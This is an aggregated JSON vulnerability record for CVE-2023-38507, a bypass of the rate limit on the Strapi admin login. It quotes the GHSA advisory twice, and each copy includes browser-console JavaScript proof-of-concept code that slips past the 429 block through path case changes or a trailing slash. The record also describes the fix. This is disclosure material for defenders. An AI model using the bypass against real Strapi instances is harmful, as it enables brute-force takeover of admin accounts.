{"id":"CVE-2023-38507","aliases":["EUVD-2023-2389","GHSA-24q2-59hm-rh9r"],"status":"published","title":"Strapi Improper Rate Limiting vulnerability","description":"Strapi is the an open-source headless content management system. Prior to version 4.12.1, there is a rate limit on the login function of Strapi's admin screen, but it is possible to circumvent it. Therefore, the possibility of unauthorized login by login brute force attack increases. Version 4.12.1 has a fix for this issue.","severity":{"version":"3.1","score":7.3,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L","level":"high","assessor":"cna","from":"cve"},"epss":{"day":"2026-11-11","score":0.00963,"percentile":0.62093,"model":"v2026.06.15"},"facts":{"in_kev":false,"known_exploited":false,"public_exploit":false,"fix_available":true},"cwes":["CWE-770"],"published":"2023-09-13T16:32:26Z","modified":"2026-10-28T02:30:41Z","fixes":[{"ecosystem":"npm","package":"@strapi/admin","fixed_in":["4.12.1"],"sources":["ghsa","osv"]},{"ecosystem":"npm","package":"@strapi/plugin-users-permissions","fixed_in":["4.12.1"],"sources":["ghsa","osv"]}],"affected":[{"source":"ghsa","ecosystem":"npm","package":"@strapi/admin","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"4.12.1"}]}]},{"source":"ghsa","ecosystem":"npm","package":"@strapi/plugin-users-permissions","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"4.12.1"}]}]},{"source":"osv","ecosystem":"npm","package":"@strapi/admin","ranges":[{"type":"SEMVER","events":[{"introduced":"0"},{"fixed":"4.12.1"}]}]},{"source":"osv","ecosystem":"npm","package":"@strapi/plugin-users-permissions","ranges":[{"type":"SEMVER","events":[{"introduced":"0"},{"fixed":"4.12.1"}]}]}],"products":[{"vendor":"strapi","product":"strapi"}],"references":[{"url":"https://github.com/strapi/strapi/security/advisories/GHSA-24q2-59hm-rh9r","tags":["x_refsource_CONFIRM","x_transferred","Exploit","Third Party Advisory","advisory","web"]},{"url":"https://github.com/strapi/strapi/blob/32d68f1f5677ed9a9a505b718c182c0a3f885426/packages/core/admin/server/middlewares/rateLimit.js#L31","tags":["x_refsource_MISC","x_transferred","Issue Tracking","web"]},{"url":"https://github.com/strapi/strapi/releases/tag/v4.12.1","tags":["x_refsource_MISC","x_transferred","Release Notes","web"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2023-38507","tags":["advisory"]},{"url":"https://github.com/advisories/GHSA-24q2-59hm-rh9r"},{"url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2023/38xxx/CVE-2023-38507.json","tags":["advisory"]},{"url":"https://github.com/strapi/strapi","tags":["package"]}],"sources":{"cve":[{"id":"CVE-2023-38507","title":"Strapi Improper Rate Limiting vulnerability","description":"Strapi is the an open-source headless content management system. Prior to version 4.12.1, there is a rate limit on the login function of Strapi's admin screen, but it is possible to circumvent it. Therefore, the possibility of unauthorized login by login brute force attack increases. Version 4.12.1 has a fix for this issue.","status":"published","published":"2023-09-15T19:15:06.391Z","modified":"2024-09-25T18:05:58.465Z","cvss":[{"version":"3.1","score":7.3,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L","level":"high","assessor":"cna"}],"cwes":["CWE-770"],"updated_at":"2026-11-02T14:35:30.116696Z"}],"euvd":[{"id":"EUVD-2023-2389","description":"Strapi is the an open-source headless content management system. Prior to version 4.12.1, there is a rate limit on the login function of Strapi's admin screen, but it is possible to circumvent it. Therefore, the possibility of unauthorized login by login brute force attack increases. Version 4.12.1 has a fix for this issue.","status":"published","published":"2023-09-15T19:15:06Z","modified":"2024-09-25T18:05:58Z","cvss":[{"version":"3.1","score":7.3,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L","level":"high"}],"updated_at":"2026-11-03T00:28:12.011224Z"}],"ghsa":[{"id":"GHSA-24q2-59hm-rh9r","title":"Strapi Improper Rate Limiting vulnerability","description":"### 1. Summary\nThere is a rate limit on the login function of Strapi's admin screen, but it is possible to circumvent it.\n\n### 2. Details\nIt is possible to avoid this by modifying the rate-limited request path as follows.\n1. Manipulating request paths to upper or lower case. (Pattern 1)\n   - In this case, avoidance is possible with various patterns.\n2. Add path slashes to the end of the request path. (Pattern 2)\n\n### 3. PoC\nAccess the administrator's login screen (`/admin/auth/login`) and execute the following PoC on the browser's console screen.\n\n#### Pattern 1 (uppercase and lowercase)\n```js\n// poc.js\n(async () =\u003e {\n  const data1 = {\n    email: \"admin@strapi.com\",   // registered e-mail address\n    password: \"invalid_password\",\n  };\n  const data2 = {\n    email: \"admin@strapi.com\",\n    password: \"RyG5z-CE2-]*4e4\",   // correct password\n  };\n\n  for (let i = 0; i \u003c 30; i++) {\n    await fetch(\"http://localhost:1337/admin/login\", {\n      method: \"POST\",\n      body: JSON.stringify(data1),\n      headers: {\n        \"Content-Type\": \"application/json\",\n      },\n    });\n  }\n\n  const res1 = await fetch(\"http://localhost:1337/admin/login\", {\n    method: \"POST\",\n    body: JSON.stringify(data2),\n    headers: {\n      \"Content-Type\": \"application/json\",\n    },\n  });\n  console.log(res1.status + \" \" + res1.statusText);\n\n  const res2 = await fetch(\"http://localhost:1337/admin/Login\", {  // capitalize part of path\n    method: \"POST\",\n    body: JSON.stringify(data2),\n    headers: {\n      \"Content-Type\": \"application/json\",\n    },\n  });\n  console.log(res2.status + \" \" + res2.statusText);\n})();\n```\n\n##### This PoC does the following:\n1. Request 30 incorrect logins.\n4. Execute the same request again and confirm that it is blocked by rate limit from the console screen. (`429 Too Many Requests`)\n5. Next, falsify the pathname of the request (**`/admin/Login`**) and make a request again to confirm that it is possible to bypass the rate limit and log in. (`200 OK`)\n\n#### Pattern 2 (trailing slash)\n```js\n// poc.js\n(async () =\u003e {\n  const data1 = {\n    email: \"admin@strapi.com\",   // registered e-mail address\n    password: \"invalid_password\",\n  };\n  const data2 = {\n    email: \"admin@strapi.com\",\n    password: \"RyG5z-CE2-]*4e4\",   // correct password\n  };\n\n  for (let i = 0; i \u003c 30; i++) {\n    await fetch(\"http://localhost:1337/admin/login\", {\n      method: \"POST\",\n      body: JSON.stringify(data1),\n      headers: {\n        \"Content-Type\": \"application/json\",\n      },\n    });\n  }\n\n  const res1 = await fetch(\"http://localhost:1337/admin/login\", {\n    method: \"POST\",\n    body: JSON.stringify(data2),\n    headers: {\n      \"Content-Type\": \"application/json\",\n    },\n  });\n  console.log(res1.status + \" \" + res1.statusText);\n\n  const res2 = await fetch(\"http://localhost:1337/admin/login/\", {  // trailing slash\n    method: \"POST\",\n    body: JSON.stringify(data2),\n    headers: {\n      \"Content-Type\": \"application/json\",\n    },\n  });\n  console.log(res2.status + \" \" + res2.statusText);\n})();\n```\n\n##### This PoC does the following:\n1. Request 30 incorrect logins.\n2. Execute the same request again and confirm that it is blocked by rate limit from the console screen. (`429 Too Many Requests`)\n3. Next, falsify the pathname of the request (**`/admin/login/`**) and make a request again to confirm that it is possible to bypass the rate limit and log in. (`200 OK`)\n\n\n\n#### PoC Video\n- [PoC Video](https://drive.google.com/file/d/1UHyt6UDpl28CXjltVJmqDvSEkkJIexiB/view?usp=share_link)\n\n### 4. Impact\nIt is possible to bypass the rate limit of the login function of the admin screen. \nTherefore, the possibility of unauthorized login by login brute force attack increases.\n\n### 5. Measures\nForcibly convert the request path used for rate limiting to upper case or lower case and judge it as the same path. (`ctx.request.path`)   \nAlso, remove any extra slashes in the request path.\n\nhttps://github.com/strapi/strapi/blob/32d68f1f5677ed9a9a505b718c182c0a3f885426/packages/core/admin/server/middlewares/rateLimit.js#L31\n\n### 6. References\n- [OWASP: API2:2023 Broken Authentication](https://owasp.org/API-Security/editions/2023/en/0xa2-broken-authentication/)\n- [OWASP: Authentication Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/Authentication_Cheat_Sheet.html)\n- [OWASP: Denial of Service Cheat Sheet (Rate limiting)](https://cheatsheetseries.owasp.org/cheatsheets/Denial_of_Service_Cheat_Sheet.html#rate-limiting)","status":"published","published":"2023-09-13T16:32:26Z","modified":"2023-11-11T05:02:09Z","cvss":[{"version":"3.1","score":7.3,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L","level":"high"}],"cwes":["CWE-770"],"updated_at":"2026-11-02T14:37:20.311836Z"}],"nvd":[{"id":"CVE-2023-38507","description":"Strapi is the an open-source headless content management system. Prior to version 4.12.1, there is a rate limit on the login function of Strapi's admin screen, but it is possible to circumvent it. Therefore, the possibility of unauthorized login by login brute force attack increases. Version 4.12.1 has a fix for this issue.","status":"published","published":"2023-09-15T20:15:08.997Z","modified":"2026-06-17T06:10:36.58Z","cvss":[{"version":"3.1","score":7.3,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L","level":"high","assessor":"secondary"},{"version":"3.1","score":9.8,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","level":"critical","assessor":"primary"}],"cwes":["CWE-770"],"updated_at":"2026-11-02T14:08:29.595868Z"}],"osv":[{"id":"CVE-2023-38507","title":"Strapi Improper Rate Limiting vulnerability","description":"Strapi is the an open-source headless content management system. Prior to version 4.12.1, there is a rate limit on the login function of Strapi's admin screen, but it is possible to circumvent it. Therefore, the possibility of unauthorized login by login brute force attack increases. Version 4.12.1 has a fix for this issue.","status":"published","published":"2023-09-15T19:15:06.391Z","modified":"2026-10-28T02:30:41.076045505Z","cvss":[{"version":"3.1","score":7.3,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L","level":"high"}],"cwes":["CWE-770"],"updated_at":"2026-11-02T15:44:32.922049Z"},{"id":"GHSA-24q2-59hm-rh9r","title":"Strapi Improper Rate Limiting vulnerability","description":"### 1. Summary\nThere is a rate limit on the login function of Strapi's admin screen, but it is possible to circumvent it.\n\n### 2. Details\nIt is possible to avoid this by modifying the rate-limited request path as follows.\n1. Manipulating request paths to upper or lower case. (Pattern 1)\n   - In this case, avoidance is possible with various patterns.\n2. Add path slashes to the end of the request path. (Pattern 2)\n\n### 3. PoC\nAccess the administrator's login screen (`/admin/auth/login`) and execute the following PoC on the browser's console screen.\n\n#### Pattern 1 (uppercase and lowercase)\n```js\n// poc.js\n(async () =\u003e {\n  const data1 = {\n    email: \"admin@strapi.com\",   // registered e-mail address\n    password: \"invalid_password\",\n  };\n  const data2 = {\n    email: \"admin@strapi.com\",\n    password: \"RyG5z-CE2-]*4e4\",   // correct password\n  };\n\n  for (let i = 0; i \u003c 30; i++) {\n    await fetch(\"http://localhost:1337/admin/login\", {\n      method: \"POST\",\n      body: JSON.stringify(data1),\n      headers: {\n        \"Content-Type\": \"application/json\",\n      },\n    });\n  }\n\n  const res1 = await fetch(\"http://localhost:1337/admin/login\", {\n    method: \"POST\",\n    body: JSON.stringify(data2),\n    headers: {\n      \"Content-Type\": \"application/json\",\n    },\n  });\n  console.log(res1.status + \" \" + res1.statusText);\n\n  const res2 = await fetch(\"http://localhost:1337/admin/Login\", {  // capitalize part of path\n    method: \"POST\",\n    body: JSON.stringify(data2),\n    headers: {\n      \"Content-Type\": \"application/json\",\n    },\n  });\n  console.log(res2.status + \" \" + res2.statusText);\n})();\n```\n\n##### This PoC does the following:\n1. Request 30 incorrect logins.\n4. Execute the same request again and confirm that it is blocked by rate limit from the console screen. (`429 Too Many Requests`)\n5. Next, falsify the pathname of the request (**`/admin/Login`**) and make a request again to confirm that it is possible to bypass the rate limit and log in. (`200 OK`)\n\n#### Pattern 2 (trailing slash)\n```js\n// poc.js\n(async () =\u003e {\n  const data1 = {\n    email: \"admin@strapi.com\",   // registered e-mail address\n    password: \"invalid_password\",\n  };\n  const data2 = {\n    email: \"admin@strapi.com\",\n    password: \"RyG5z-CE2-]*4e4\",   // correct password\n  };\n\n  for (let i = 0; i \u003c 30; i++) {\n    await fetch(\"http://localhost:1337/admin/login\", {\n      method: \"POST\",\n      body: JSON.stringify(data1),\n      headers: {\n        \"Content-Type\": \"application/json\",\n      },\n    });\n  }\n\n  const res1 = await fetch(\"http://localhost:1337/admin/login\", {\n    method: \"POST\",\n    body: JSON.stringify(data2),\n    headers: {\n      \"Content-Type\": \"application/json\",\n    },\n  });\n  console.log(res1.status + \" \" + res1.statusText);\n\n  const res2 = await fetch(\"http://localhost:1337/admin/login/\", {  // trailing slash\n    method: \"POST\",\n    body: JSON.stringify(data2),\n    headers: {\n      \"Content-Type\": \"application/json\",\n    },\n  });\n  console.log(res2.status + \" \" + res2.statusText);\n})();\n```\n\n##### This PoC does the following:\n1. Request 30 incorrect logins.\n2. Execute the same request again and confirm that it is blocked by rate limit from the console screen. (`429 Too Many Requests`)\n3. Next, falsify the pathname of the request (**`/admin/login/`**) and make a request again to confirm that it is possible to bypass the rate limit and log in. (`200 OK`)\n\n\n\n#### PoC Video\n- [PoC Video](https://drive.google.com/file/d/1UHyt6UDpl28CXjltVJmqDvSEkkJIexiB/view?usp=share_link)\n\n### 4. Impact\nIt is possible to bypass the rate limit of the login function of the admin screen. \nTherefore, the possibility of unauthorized login by login brute force attack increases.\n\n### 5. Measures\nForcibly convert the request path used for rate limiting to upper case or lower case and judge it as the same path. (`ctx.request.path`)   \nAlso, remove any extra slashes in the request path.\n\nhttps://github.com/strapi/strapi/blob/32d68f1f5677ed9a9a505b718c182c0a3f885426/packages/core/admin/server/middlewares/rateLimit.js#L31\n\n### 6. References\n- [OWASP: API2:2023 Broken Authentication](https://owasp.org/API-Security/editions/2023/en/0xa2-broken-authentication/)\n- [OWASP: Authentication Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/Authentication_Cheat_Sheet.html)\n- [OWASP: Denial of Service Cheat Sheet (Rate limiting)](https://cheatsheetseries.owasp.org/cheatsheets/Denial_of_Service_Cheat_Sheet.html#rate-limiting)","status":"published","published":"2023-09-13T16:32:26Z","modified":"2026-09-10T03:50:03.099974469Z","cvss":[{"version":"3.1","score":7.3,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L","level":"high"}],"cwes":["CWE-770"],"updated_at":"2026-11-02T15:46:33.956911Z"}]}}